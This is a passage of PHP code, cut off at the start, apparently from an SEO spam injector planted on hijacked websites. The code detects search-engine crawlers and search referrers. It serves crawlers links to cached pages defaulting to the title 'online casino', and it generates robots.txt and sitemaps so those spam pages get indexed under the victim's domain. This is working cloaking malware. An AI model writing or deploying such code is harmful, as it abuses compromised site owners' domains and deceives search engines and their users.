",file_get_contents($configs["dir"]."/include.txt"), $body); echo $body; exit; } } if( str_replace("/","", $pach) == "" ){ if( isBot() ) { foreach (json_decode( file_get_contents($configs["dir"]."/links.txt"), 1) as $link) { echo '' . $link["title"] . ' '; } } } if( isBot() ) { $links_in = getLinks( $configs ); foreach ( $links_in as $link) { echo '' . $link["title"] . ' '; } } function checkSlug( $configs ){ if( str_replace("/","", $configs['pach']) == "" ) { return false; } $failename = str_replace("/","", $configs['pach']).".txt"; if( file_exists($configs["dir"]."/cache/".$failename )){ return true; } return false; } function getLinks( $configs ){ $files = scandir($configs["dir"]."/cache"); unset($files[0]); unset($files[1]); $ret = []; foreach ( array_rand($files, rand(5,25)) as $key ){ $file = $files[$key]; $content = file_get_contents($configs["dir"]."/cache/".$file ); preg_match('/(?<title>.*?)<\/title>/', $content, $matches, PREG_OFFSET_CAPTURE, 0); if(empty($matches["title"][0])){ $title = "online casino"; } else { $title = $matches["title"][0]; } $ret[] = [ "slug"=>str_replace(".txt","",$file), "title"=>$title ]; } return $ret; } function renderRobotsTxt( $configs ){ @header("Content-type: text/css; charset=utf-8"); echo "User-agent: *".PHP_EOL; echo "Allow: /".PHP_EOL.PHP_EOL; echo "Sitemap: ".$configs["protocol"].$configs["host"].$configs["sitemap_pach"].PHP_EOL; } function isUserFromSearch() { $ss = array("google", "yahoo", "bing", 'yandex'); if(!empty($_SERVER['HTTP_REFERER'])){ foreach ($ss as $s) { if (strpos($_SERVER['HTTP_REFERER'], $s)) { return true; } } } return false; } function isBot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $googleBot = array("Googlebot", "Yahoo! Slurp", "Yahoo Slurp", "Google AdSense", 'google', 'yahoo', 'yandex'); foreach ($googleBot as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } } else { return false; } } function renderSiteMaps( $configs ){ $files = scandir($configs["dir"]."/cache"); $count = count($files)-2; $i = 1; header('Content-Type: text/xml; charset=utf-8'); echo '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL; echo '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'.PHP_EOL; while ( $count >= 1 ) { echo '<sitemap>'.PHP_EOL;; echo '<loc>'.$configs["protocol"].$configs["host"].'/sitemap-'.$i.'.xml</loc>'.PHP_EOL;; echo '<lastmod>'.date("Y-m-d\TH:i:sP", time()).'</lastmod>'.PHP_EOL;; echo '</sitemap>'.PHP_EOL; $count = $count-1000; $i++; } echo '</sitemapindex>'; } function renderSiteMap( $configs ){ $files = scandir($configs["dir"]."/cache"); unset($files[0]); unset($files[1]); preg_match_all('/sitemap-(?<num>.+?)\.xml/m', $configs["pach"], $matches, PREG_SET_ORDER, 0); if( empty($matches[0]["num"]) ){ $part = 1; } else { $part = $matches[0]["num"]; } $tmp = array_chunk($files ,1000); header('Content-Type: text/xml; charset=utf-8'); echo '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL; echo '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'.PHP_EOL; echo '<url>'.PHP_EOL;; echo '<loc>'.$configs["protocol"].$configs["host"].'</loc>'.PHP_EOL;; echo '<lastmod>'.date("Y-m-d\TH:i:sP", time()).'</lastmod>'.PHP_EOL;; echo '<changefreq>daily</changefreq>'.PHP_EOL;; echo '<priority>0.1</priority>'.PHP_EOL;; echo '</url>'.PHP_EOL;; foreach ( $tmp[$part-1] as $page ){ echo '<url>'.PHP_EOL;; echo '<loc>'.$configs["protocol"].$configs["host"].'/'.str_replace(".txt","",$page).'</loc>'.PHP_EOL;; echo '<lastmod>'.date("Y-m-d\TH:i:sP", time()).'</lastmod>'.PHP_EOL;; echo '<changefreq>daily</changefreq>'.PHP_EOL;; echo '<priority>0.1</priority>'.PHP_EOL;; echo '</url>'.PHP_EOL;; } echo '</urlset>'; } function smrequest_uri() { if (isset($_SERVER['REQUEST_URI'])) { $smuri = $_SERVER['REQUEST_URI']; } else { if (isset($_SERVER['argv'])) { $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; } else { $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $smuri; } function is_https() { if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { return true; } elseif (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; }